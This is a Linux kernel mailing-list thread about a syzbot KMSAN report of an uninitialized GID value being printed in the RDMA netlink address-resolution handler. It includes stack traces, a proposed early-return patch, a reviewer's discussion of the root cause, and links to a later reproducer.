[syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp

[syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    1896ce8eb6c6 Merge tag 'fsverity-for-linus' of git://git.k..
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=153d0092580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=6eca10e0cdef44f
dashboard link: https://syzkaller.appspot.com/bug?extid=938fcd548c303fe33c1a
compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
userspace arch: i386

Unfortunately, I don't have any reproducer for this issue yet.

Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/d0fbab3c0b62/disk-1896ce8e.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/71c7b444e106/vmlinux-1896ce8e.xz
kernel image: https://storage.googleapis.com/syzbot-assets/96a4aa63999d/bzImage-1896ce8e.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+938fcd548c303fe33c1a@syzkaller.appspotmail.com

netlink: 8 bytes leftover after parsing attributes in process `syz.8.3246'.
=====================================================
BUG: KMSAN: uninit-value in hex_byte_pack include/linux/hex.h:13 [inline]
BUG: KMSAN: uninit-value in ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
 hex_byte_pack include/linux/hex.h:13 [inline]
 ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
 ip6_addr_string+0x18a/0x3e0 lib/vsprintf.c:1509
 ip_addr_string+0x245/0xee0 lib/vsprintf.c:1633
 pointer+0xc09/0x1bd0 lib/vsprintf.c:2542
 vsnprintf+0xf8a/0x1bd0 lib/vsprintf.c:2930
 vprintk_store+0x3ae/0x1530 kernel/printk/printk.c:2279
 vprintk_emit+0x307/0xcd0 kernel/printk/printk.c:2426
 vprintk_default+0x3f/0x50 kernel/printk/printk.c:2465
 vprintk+0x36/0x50 kernel/printk/printk_safe.c:82
 _printk+0x17e/0x1b0 kernel/printk/printk.c:2475
 ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:128 [inline]
 ib_nl_handle_ip_res_resp+0x963/0x9d0 drivers/infiniband/core/addr.c:141
 rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
 rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
 rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
 netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline]
 netlink_unicast+0xf04/0x12b0 net/netlink/af_netlink.c:1346
 netlink_sendmsg+0x10b3/0x1250 net/netlink/af_netlink.c:1896
 sock_sendmsg_nosec net/socket.c:714 [inline]
 __sock_sendmsg+0x333/0x3d0 net/socket.c:729
 ____sys_sendmsg+0x7e0/0xd80 net/socket.c:2617
 ___sys_sendmsg+0x271/0x3b0 net/socket.c:2671
 __sys_sendmsg+0x1aa/0x300 net/socket.c:2703
 __compat_sys_sendmsg net/compat.c:346 [inline]
 __do_compat_sys_sendmsg net/compat.c:353 [inline]
 __se_compat_sys_sendmsg net/compat.c:350 [inline]
 __ia32_compat_sys_sendmsg+0xa4/0x100 net/compat.c:350
 ia32_sys_call+0x3f6c/0x4310 arch/x86/include/generated/asm/syscalls_32.h:371
 do_syscall_32_irqs_on arch/x86/entry/syscall_32.c:83 [inline]
 __do_fast_syscall_32+0xb0/0x150 arch/x86/entry/syscall_32.c:306
 do_fast_syscall_32+0x38/0x80 arch/x86/entry/syscall_32.c:331
 do_SYSENTER_32+0x1f/0x30 arch/x86/entry/syscall_32.c:369
 entry_SYSENTER_compat_after_hwframe+0x84/0x8e

Local variable gid.i created at:
 ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:102 [inline]
 ib_nl_handle_ip_res_resp+0x254/0x9d0 drivers/infiniband/core/addr.c:141
 rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
 rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
 rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259

CPU: 0 UID: 0 PID: 17455 Comm: syz.8.3246 Not tainted syzkaller #0 PREEMPT(none) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
=====================================================


---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.

syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.

If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title

If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)

If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report

If you want to undo deduplication, reply with:
#syz undup

Re: [syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp

[Kohei Enju]

On Tue, 30 Sep 2025 13:29:32 -0700, syzbot wrote:

>Hello,
>
>syzbot found the following issue on:
>
>HEAD commit:    1896ce8eb6c6 Merge tag 'fsverity-for-linus' of git://git.k..
>git tree:       upstream
>console output: https://syzkaller.appspot.com/x/log.txt?x=153d0092580000
>kernel config:  https://syzkaller.appspot.com/x/.config?x=6eca10e0cdef44f
>dashboard link: https://syzkaller.appspot.com/bug?extid=938fcd548c303fe33c1a
>compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
>userspace arch: i386
>
>Unfortunately, I don't have any reproducer for this issue yet.
>
>Downloadable assets:
>disk image: https://storage.googleapis.com/syzbot-assets/d0fbab3c0b62/disk-1896ce8e.raw.xz
>vmlinux: https://storage.googleapis.com/syzbot-assets/71c7b444e106/vmlinux-1896ce8e.xz
>kernel image: https://storage.googleapis.com/syzbot-assets/96a4aa63999d/bzImage-1896ce8e.xz
>
>IMPORTANT: if you fix the issue, please add the following tag to the commit:
>Reported-by: syzbot+938fcd548c303fe33c1a@syzkaller.appspotmail.com
>
>netlink: 8 bytes leftover after parsing attributes in process `syz.8.3246'.
>=====================================================
>BUG: KMSAN: uninit-value in hex_byte_pack include/linux/hex.h:13 [inline]
>BUG: KMSAN: uninit-value in ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
> hex_byte_pack include/linux/hex.h:13 [inline]
> ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
> ip6_addr_string+0x18a/0x3e0 lib/vsprintf.c:1509
> ip_addr_string+0x245/0xee0 lib/vsprintf.c:1633
> pointer+0xc09/0x1bd0 lib/vsprintf.c:2542
> vsnprintf+0xf8a/0x1bd0 lib/vsprintf.c:2930
> vprintk_store+0x3ae/0x1530 kernel/printk/printk.c:2279
> vprintk_emit+0x307/0xcd0 kernel/printk/printk.c:2426
> vprintk_default+0x3f/0x50 kernel/printk/printk.c:2465
> vprintk+0x36/0x50 kernel/printk/printk_safe.c:82
> _printk+0x17e/0x1b0 kernel/printk/printk.c:2475
> ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:128 [inline]

I see when gid is not initialized in nla_for_each_attr loop, this should
return early.

I think the splat occurrs when gid is not found, so a simple fix might
be like:

diff --git a/drivers/infiniband/core/addr.c b/drivers/infiniband/core/addr.c
index be0743dac3ff..c03a308bcda5 100644
--- a/drivers/infiniband/core/addr.c
+++ b/drivers/infiniband/core/addr.c
@@ -103,15 +103,21 @@ static void ib_nl_process_good_ip_rsep(const struct nlmsghdr *nlh)
        struct addr_req *req;
        int len, rem;
        int found = 0;
+       bool gid_found = false;

        head = (const struct nlattr *)nlmsg_data(nlh);
        len = nlmsg_len(nlh);

        nla_for_each_attr(curr, head, len, rem) {
-               if (curr->nla_type == LS_NLA_TYPE_DGID)
+               if (curr->nla_type == LS_NLA_TYPE_DGID) {
                        memcpy(&gid, nla_data(curr), nla_len(curr));
+                       gid_found = true;
+               }
        }

+       if (!gid_found)
+               return;
+
        spin_lock_bh(&lock);
        list_for_each_entry(req, &req_list, list) {
                if (nlh->nlmsg_seq != req->seq)

> ib_nl_handle_ip_res_resp+0x963/0x9d0 drivers/infiniband/core/addr.c:141
> rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
> rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
> rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
> netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline]
> netlink_unicast+0xf04/0x12b0 net/netlink/af_netlink.c:1346
> netlink_sendmsg+0x10b3/0x1250 net/netlink/af_netlink.c:1896
> sock_sendmsg_nosec net/socket.c:714 [inline]
> __sock_sendmsg+0x333/0x3d0 net/socket.c:729
> ____sys_sendmsg+0x7e0/0xd80 net/socket.c:2617
> ___sys_sendmsg+0x271/0x3b0 net/socket.c:2671
> __sys_sendmsg+0x1aa/0x300 net/socket.c:2703
> __compat_sys_sendmsg net/compat.c:346 [inline]
> __do_compat_sys_sendmsg net/compat.c:353 [inline]
> __se_compat_sys_sendmsg net/compat.c:350 [inline]
> __ia32_compat_sys_sendmsg+0xa4/0x100 net/compat.c:350
> ia32_sys_call+0x3f6c/0x4310 arch/x86/include/generated/asm/syscalls_32.h:371
> do_syscall_32_irqs_on arch/x86/entry/syscall_32.c:83 [inline]
> __do_fast_syscall_32+0xb0/0x150 arch/x86/entry/syscall_32.c:306
> do_fast_syscall_32+0x38/0x80 arch/x86/entry/syscall_32.c:331
> do_SYSENTER_32+0x1f/0x30 arch/x86/entry/syscall_32.c:369
> entry_SYSENTER_compat_after_hwframe+0x84/0x8e
>
>Local variable gid.i created at:
> ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:102 [inline]
> ib_nl_handle_ip_res_resp+0x254/0x9d0 drivers/infiniband/core/addr.c:141
> rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
> rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
> rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
>
>CPU: 0 UID: 0 PID: 17455 Comm: syz.8.3246 Not tainted syzkaller #0 PREEMPT(none) 
>Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
>=====================================================
>
>
>---
>This report is generated by a bot. It may contain errors.
>See https://goo.gl/tpsmEJ for more information about syzbot.
>syzbot engineers can be reached at syzkaller@googlegroups.com.
>
>syzbot will keep track of this issue. See:
>https://goo.gl/tpsmEJ#status for how to communicate with syzbot.
>
>If the report is already addressed, let syzbot know by replying with:
>#syz fix: exact-commit-title
>
>If you want to overwrite report's subsystems, reply with:
>#syz set subsystems: new-subsystem
>(See the list of subsystem names on the web dashboard)
>
>If the report is a duplicate of another one, reply with:
>#syz dup: exact-subject-of-another-report
>
>If you want to undo deduplication, reply with:
>#syz undup
>

Re: [syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp

[yanjun.zhu]

On 9/30/25 8:02 PM, Kohei Enju wrote:
> On Tue, 30 Sep 2025 13:29:32 -0700, syzbot wrote:
> 
>> Hello,
>>
>> syzbot found the following issue on:
>>
>> HEAD commit:    1896ce8eb6c6 Merge tag 'fsverity-for-linus' of git://git.k..
>> git tree:       upstream
>> console output: https://syzkaller.appspot.com/x/log.txt?x=153d0092580000
>> kernel config:  https://syzkaller.appspot.com/x/.config?x=6eca10e0cdef44f
>> dashboard link: https://syzkaller.appspot.com/bug?extid=938fcd548c303fe33c1a
>> compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
>> userspace arch: i386
>>
>> Unfortunately, I don't have any reproducer for this issue yet.
>>
>> Downloadable assets:
>> disk image: https://storage.googleapis.com/syzbot-assets/d0fbab3c0b62/disk-1896ce8e.raw.xz
>> vmlinux: https://storage.googleapis.com/syzbot-assets/71c7b444e106/vmlinux-1896ce8e.xz
>> kernel image: https://storage.googleapis.com/syzbot-assets/96a4aa63999d/bzImage-1896ce8e.xz
>>
>> IMPORTANT: if you fix the issue, please add the following tag to the commit:
>> Reported-by: syzbot+938fcd548c303fe33c1a@syzkaller.appspotmail.com
>>
>> netlink: 8 bytes leftover after parsing attributes in process `syz.8.3246'.
>> =====================================================
>> BUG: KMSAN: uninit-value in hex_byte_pack include/linux/hex.h:13 [inline]
>> BUG: KMSAN: uninit-value in ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
>> hex_byte_pack include/linux/hex.h:13 [inline]
>> ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
>> ip6_addr_string+0x18a/0x3e0 lib/vsprintf.c:1509
>> ip_addr_string+0x245/0xee0 lib/vsprintf.c:1633
>> pointer+0xc09/0x1bd0 lib/vsprintf.c:2542
>> vsnprintf+0xf8a/0x1bd0 lib/vsprintf.c:2930
>> vprintk_store+0x3ae/0x1530 kernel/printk/printk.c:2279
>> vprintk_emit+0x307/0xcd0 kernel/printk/printk.c:2426
>> vprintk_default+0x3f/0x50 kernel/printk/printk.c:2465
>> vprintk+0x36/0x50 kernel/printk/printk_safe.c:82
>> _printk+0x17e/0x1b0 kernel/printk/printk.c:2475
>> ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:128 [inline]
> 
> I see when gid is not initialized in nla_for_each_attr loop, this should
> return early.

GID is a globally unique 128-bit identifier for an RDMA port, used for 
addressing and routing in InfiniBand or RoCE networks. It’s crucial for 
establishing RDMA connections across subnets or Ethernet networks. IMO, 
we do not just return when gid is not found. We should find out why the 
GID does not exist if I get you correctly.

Then we can fix this problem where the GID can not be added into GID table.

It is just my 2 cent advice.

Yanjun.Zhu

> 
> I think the splat occurrs when gid is not found, so a simple fix might
> be like:
> 
> diff --git a/drivers/infiniband/core/addr.c b/drivers/infiniband/core/addr.c
> index be0743dac3ff..c03a308bcda5 100644
> --- a/drivers/infiniband/core/addr.c
> +++ b/drivers/infiniband/core/addr.c
> @@ -103,15 +103,21 @@ static void ib_nl_process_good_ip_rsep(const struct nlmsghdr *nlh)
>          struct addr_req *req;
>          int len, rem;
>          int found = 0;
> +       bool gid_found = false;
> 
>          head = (const struct nlattr *)nlmsg_data(nlh);
>          len = nlmsg_len(nlh);
> 
>          nla_for_each_attr(curr, head, len, rem) {
> -               if (curr->nla_type == LS_NLA_TYPE_DGID)
> +               if (curr->nla_type == LS_NLA_TYPE_DGID) {
>                          memcpy(&gid, nla_data(curr), nla_len(curr));
> +                       gid_found = true;
> +               }
>          }
> 
> +       if (!gid_found)
> +               return;
> +
>          spin_lock_bh(&lock);
>          list_for_each_entry(req, &req_list, list) {
>                  if (nlh->nlmsg_seq != req->seq)
> 
>> ib_nl_handle_ip_res_resp+0x963/0x9d0 drivers/infiniband/core/addr.c:141
>> rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
>> rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
>> rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
>> netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline]
>> netlink_unicast+0xf04/0x12b0 net/netlink/af_netlink.c:1346
>> netlink_sendmsg+0x10b3/0x1250 net/netlink/af_netlink.c:1896
>> sock_sendmsg_nosec net/socket.c:714 [inline]
>> __sock_sendmsg+0x333/0x3d0 net/socket.c:729
>> ____sys_sendmsg+0x7e0/0xd80 net/socket.c:2617
>> ___sys_sendmsg+0x271/0x3b0 net/socket.c:2671
>> __sys_sendmsg+0x1aa/0x300 net/socket.c:2703
>> __compat_sys_sendmsg net/compat.c:346 [inline]
>> __do_compat_sys_sendmsg net/compat.c:353 [inline]
>> __se_compat_sys_sendmsg net/compat.c:350 [inline]
>> __ia32_compat_sys_sendmsg+0xa4/0x100 net/compat.c:350
>> ia32_sys_call+0x3f6c/0x4310 arch/x86/include/generated/asm/syscalls_32.h:371
>> do_syscall_32_irqs_on arch/x86/entry/syscall_32.c:83 [inline]
>> __do_fast_syscall_32+0xb0/0x150 arch/x86/entry/syscall_32.c:306
>> do_fast_syscall_32+0x38/0x80 arch/x86/entry/syscall_32.c:331
>> do_SYSENTER_32+0x1f/0x30 arch/x86/entry/syscall_32.c:369
>> entry_SYSENTER_compat_after_hwframe+0x84/0x8e
>>
>> Local variable gid.i created at:
>> ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:102 [inline]
>> ib_nl_handle_ip_res_resp+0x254/0x9d0 drivers/infiniband/core/addr.c:141
>> rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
>> rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
>> rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
>>
>> CPU: 0 UID: 0 PID: 17455 Comm: syz.8.3246 Not tainted syzkaller #0 PREEMPT(none)
>> Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
>> =====================================================
>>
>>
>> ---
>> This report is generated by a bot. It may contain errors.
>> See https://goo.gl/tpsmEJ for more information about syzbot.
>> syzbot engineers can be reached at syzkaller@googlegroups.com.
>>
>> syzbot will keep track of this issue. See:
>> https://goo.gl/tpsmEJ#status for how to communicate with syzbot.
>>
>> If the report is already addressed, let syzbot know by replying with:
>> #syz fix: exact-commit-title
>>
>> If you want to overwrite report's subsystems, reply with:
>> #syz set subsystems: new-subsystem
>> (See the list of subsystem names on the web dashboard)
>>
>> If the report is a duplicate of another one, reply with:
>> #syz dup: exact-subject-of-another-report
>>
>> If you want to undo deduplication, reply with:
>> #syz undup
>>

Re: [syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp

[Kohei Enju]

On Thu, 2 Oct 2025 11:16:46 -0700, yanjun.zhu wrote:

>On 9/30/25 8:02 PM, Kohei Enju wrote:
>> On Tue, 30 Sep 2025 13:29:32 -0700, syzbot wrote:
>> 
>>> Hello,
>>>
>>> syzbot found the following issue on:
>>>
>>> HEAD commit:    1896ce8eb6c6 Merge tag 'fsverity-for-linus' of git://git.k..
>>> git tree:       upstream
>>> console output: https://syzkaller.appspot.com/x/log.txt?x=153d0092580000
>>> kernel config:  https://syzkaller.appspot.com/x/.config?x=6eca10e0cdef44f
>>> dashboard link: https://syzkaller.appspot.com/bug?extid=938fcd548c303fe33c1a
>>> compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
>>> userspace arch: i386
>>>
>>> Unfortunately, I don't have any reproducer for this issue yet.
>>>
>>> Downloadable assets:
>>> disk image: https://storage.googleapis.com/syzbot-assets/d0fbab3c0b62/disk-1896ce8e.raw.xz
>>> vmlinux: https://storage.googleapis.com/syzbot-assets/71c7b444e106/vmlinux-1896ce8e.xz
>>> kernel image: https://storage.googleapis.com/syzbot-assets/96a4aa63999d/bzImage-1896ce8e.xz
>>>
>>> IMPORTANT: if you fix the issue, please add the following tag to the commit:
>>> Reported-by: syzbot+938fcd548c303fe33c1a@syzkaller.appspotmail.com
>>>
>>> netlink: 8 bytes leftover after parsing attributes in process `syz.8.3246'.
>>> =====================================================
>>> BUG: KMSAN: uninit-value in hex_byte_pack include/linux/hex.h:13 [inline]
>>> BUG: KMSAN: uninit-value in ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
>>> hex_byte_pack include/linux/hex.h:13 [inline]
>>> ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
>>> ip6_addr_string+0x18a/0x3e0 lib/vsprintf.c:1509
>>> ip_addr_string+0x245/0xee0 lib/vsprintf.c:1633
>>> pointer+0xc09/0x1bd0 lib/vsprintf.c:2542
>>> vsnprintf+0xf8a/0x1bd0 lib/vsprintf.c:2930
>>> vprintk_store+0x3ae/0x1530 kernel/printk/printk.c:2279
>>> vprintk_emit+0x307/0xcd0 kernel/printk/printk.c:2426
>>> vprintk_default+0x3f/0x50 kernel/printk/printk.c:2465
>>> vprintk+0x36/0x50 kernel/printk/printk_safe.c:82
>>> _printk+0x17e/0x1b0 kernel/printk/printk.c:2475
>>> ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:128 [inline]
>> 
>> I see when gid is not initialized in nla_for_each_attr loop, this should
>> return early.
>
>GID is a globally unique 128-bit identifier for an RDMA port, used for 
>addressing and routing in InfiniBand or RoCE networks. It\u2019s crucial for 
>establishing RDMA connections across subnets or Ethernet networks. IMO, 
>we do not just return when gid is not found. We should find out why the 
>GID does not exist if I get you correctly.

Indeed, I think you're right.
Considering that ib_nl_is_good_ip_resp() returns true, the fact that GID
doesn't exist seems weird and we should investigate the cause.

>
>Then we can fix this problem where the GID can not be added into GID table.
>
>It is just my 2 cent advice.
>
>Yanjun.Zhu
>
>> 
>> I think the splat occurrs when gid is not found, so a simple fix might
>> be like:
>> 
>> diff --git a/drivers/infiniband/core/addr.c b/drivers/infiniband/core/addr.c
>> index be0743dac3ff..c03a308bcda5 100644
>> --- a/drivers/infiniband/core/addr.c
>> +++ b/drivers/infiniband/core/addr.c
>> @@ -103,15 +103,21 @@ static void ib_nl_process_good_ip_rsep(const struct nlmsghdr *nlh)
>>          struct addr_req *req;
>>          int len, rem;
>>          int found = 0;
>> +       bool gid_found = false;
>> 
>>          head = (const struct nlattr *)nlmsg_data(nlh);
>>          len = nlmsg_len(nlh);
>> 
>>          nla_for_each_attr(curr, head, len, rem) {
>> -               if (curr->nla_type == LS_NLA_TYPE_DGID)
>> +               if (curr->nla_type == LS_NLA_TYPE_DGID) {
>>                          memcpy(&gid, nla_data(curr), nla_len(curr));
>> +                       gid_found = true;
>> +               }
>>          }
>> 
>> +       if (!gid_found)
>> +               return;
>> +
>>          spin_lock_bh(&lock);
>>          list_for_each_entry(req, &req_list, list) {
>>                  if (nlh->nlmsg_seq != req->seq)
>> 
>>> ib_nl_handle_ip_res_resp+0x963/0x9d0 drivers/infiniband/core/addr.c:141
>>> rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
>>> rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
>>> rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
>>> netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline]
>>> netlink_unicast+0xf04/0x12b0 net/netlink/af_netlink.c:1346
>>> netlink_sendmsg+0x10b3/0x1250 net/netlink/af_netlink.c:1896
>>> sock_sendmsg_nosec net/socket.c:714 [inline]
>>> __sock_sendmsg+0x333/0x3d0 net/socket.c:729
>>> ____sys_sendmsg+0x7e0/0xd80 net/socket.c:2617
>>> ___sys_sendmsg+0x271/0x3b0 net/socket.c:2671
>>> __sys_sendmsg+0x1aa/0x300 net/socket.c:2703
>>> __compat_sys_sendmsg net/compat.c:346 [inline]
>>> __do_compat_sys_sendmsg net/compat.c:353 [inline]
>>> __se_compat_sys_sendmsg net/compat.c:350 [inline]
>>> __ia32_compat_sys_sendmsg+0xa4/0x100 net/compat.c:350
>>> ia32_sys_call+0x3f6c/0x4310 arch/x86/include/generated/asm/syscalls_32.h:371
>>> do_syscall_32_irqs_on arch/x86/entry/syscall_32.c:83 [inline]
>>> __do_fast_syscall_32+0xb0/0x150 arch/x86/entry/syscall_32.c:306
>>> do_fast_syscall_32+0x38/0x80 arch/x86/entry/syscall_32.c:331
>>> do_SYSENTER_32+0x1f/0x30 arch/x86/entry/syscall_32.c:369
>>> entry_SYSENTER_compat_after_hwframe+0x84/0x8e
>>>
>>> Local variable gid.i created at:
>>> ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:102 [inline]
>>> ib_nl_handle_ip_res_resp+0x254/0x9d0 drivers/infiniband/core/addr.c:141
>>> rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
>>> rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
>>> rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
>>>
>>> CPU: 0 UID: 0 PID: 17455 Comm: syz.8.3246 Not tainted syzkaller #0 PREEMPT(none)
>>> Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
>>> =====================================================
>>>
>>>
>>> ---
>>> This report is generated by a bot. It may contain errors.
>>> See https://goo.gl/tpsmEJ for more information about syzbot.
>>> syzbot engineers can be reached at syzkaller@googlegroups.com.
>>>
>>> syzbot will keep track of this issue. See:
>>> https://goo.gl/tpsmEJ#status for how to communicate with syzbot.
>>>
>>> If the report is already addressed, let syzbot know by replying with:
>>> #syz fix: exact-commit-title
>>>
>>> If you want to overwrite report's subsystems, reply with:
>>> #syz set subsystems: new-subsystem
>>> (See the list of subsystem names on the web dashboard)
>>>
>>> If the report is a duplicate of another one, reply with:
>>> #syz dup: exact-subject-of-another-report
>>>
>>> If you want to undo deduplication, reply with:
>>> #syz undup
>>>
>
>

Re: [syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp

[syzbot]

syzbot has found a reproducer for the following issue on:

HEAD commit:    566771afc7a8 Merge tag 'v6.18-rc2-smb-server-fixes' of git..
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=12f017e2580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=dce7eac4016da338
dashboard link: https://syzkaller.appspot.com/bug?extid=938fcd548c303fe33c1a
compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=13714be2580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=100b5d2f980000

Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/bc5e0bc7a5d9/disk-566771af.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/6b2be7ad3b45/vmlinux-566771af.xz
kernel image: https://storage.googleapis.com/syzbot-assets/09a4929333f1/bzImage-566771af.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+938fcd548c303fe33c1a@syzkaller.appspotmail.com

netlink: 8 bytes leftover after parsing attributes in process `syz.0.18'.
=====================================================
BUG: KMSAN: uninit-value in hex_byte_pack include/linux/hex.h:13 [inline]
BUG: KMSAN: uninit-value in ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
 hex_byte_pack include/linux/hex.h:13 [inline]
 ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
 ip6_addr_string+0x18a/0x3e0 lib/vsprintf.c:1509
 ip_addr_string+0x245/0xee0 lib/vsprintf.c:1633
 pointer+0xc09/0x1bd0 lib/vsprintf.c:2542
 vsnprintf+0xf8a/0x1bd0 lib/vsprintf.c:2930
 vprintk_store+0x3ae/0x1530 kernel/printk/printk.c:2252
 vprintk_emit+0x21a/0xb60 kernel/printk/printk.c:2399
 vprintk_default+0x3f/0x50 kernel/printk/printk.c:2438
 vprintk+0x36/0x50 kernel/printk/printk_safe.c:82
 _printk+0x17e/0x1b0 kernel/printk/printk.c:2448
 ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:128 [inline]
 ib_nl_handle_ip_res_resp+0x963/0x9d0 drivers/infiniband/core/addr.c:141
 rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
 rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
 rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
 netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline]
 netlink_unicast+0xf04/0x12b0 net/netlink/af_netlink.c:1346
 netlink_sendmsg+0x10b3/0x1250 net/netlink/af_netlink.c:1896
 sock_sendmsg_nosec net/socket.c:727 [inline]
 __sock_sendmsg+0x333/0x3d0 net/socket.c:742
 ____sys_sendmsg+0x7e0/0xd80 net/socket.c:2630
 ___sys_sendmsg+0x271/0x3b0 net/socket.c:2684
 __sys_sendmsg net/socket.c:2716 [inline]
 __do_sys_sendmsg net/socket.c:2721 [inline]
 __se_sys_sendmsg net/socket.c:2719 [inline]
 __x64_sys_sendmsg+0x211/0x3e0 net/socket.c:2719
 x64_sys_call+0x1dfd/0x3e30 arch/x86/include/generated/asm/syscalls_64.h:47
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xd9/0xfa0 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Local variable gid.i created at:
 ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:102 [inline]
 ib_nl_handle_ip_res_resp+0x254/0x9d0 drivers/infiniband/core/addr.c:141
 rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
 rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
 rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259

CPU: 0 UID: 0 PID: 6093 Comm: syz.0.18 Not tainted syzkaller #0 PREEMPT(none) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/02/2025
=====================================================


---
If you want syzbot to run the reproducer, reply with:
#syz test: git://repo/address.git branch-or-commit-hash
If you attach or paste a git patch, syzbot will apply it before testing.

Forwarded: test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: test
Author: kriish.sharma2006@gmail.com

#syz test: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/
566771afc7a8

Forwarded: syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test

Forwarded: syz test

[syzbot]

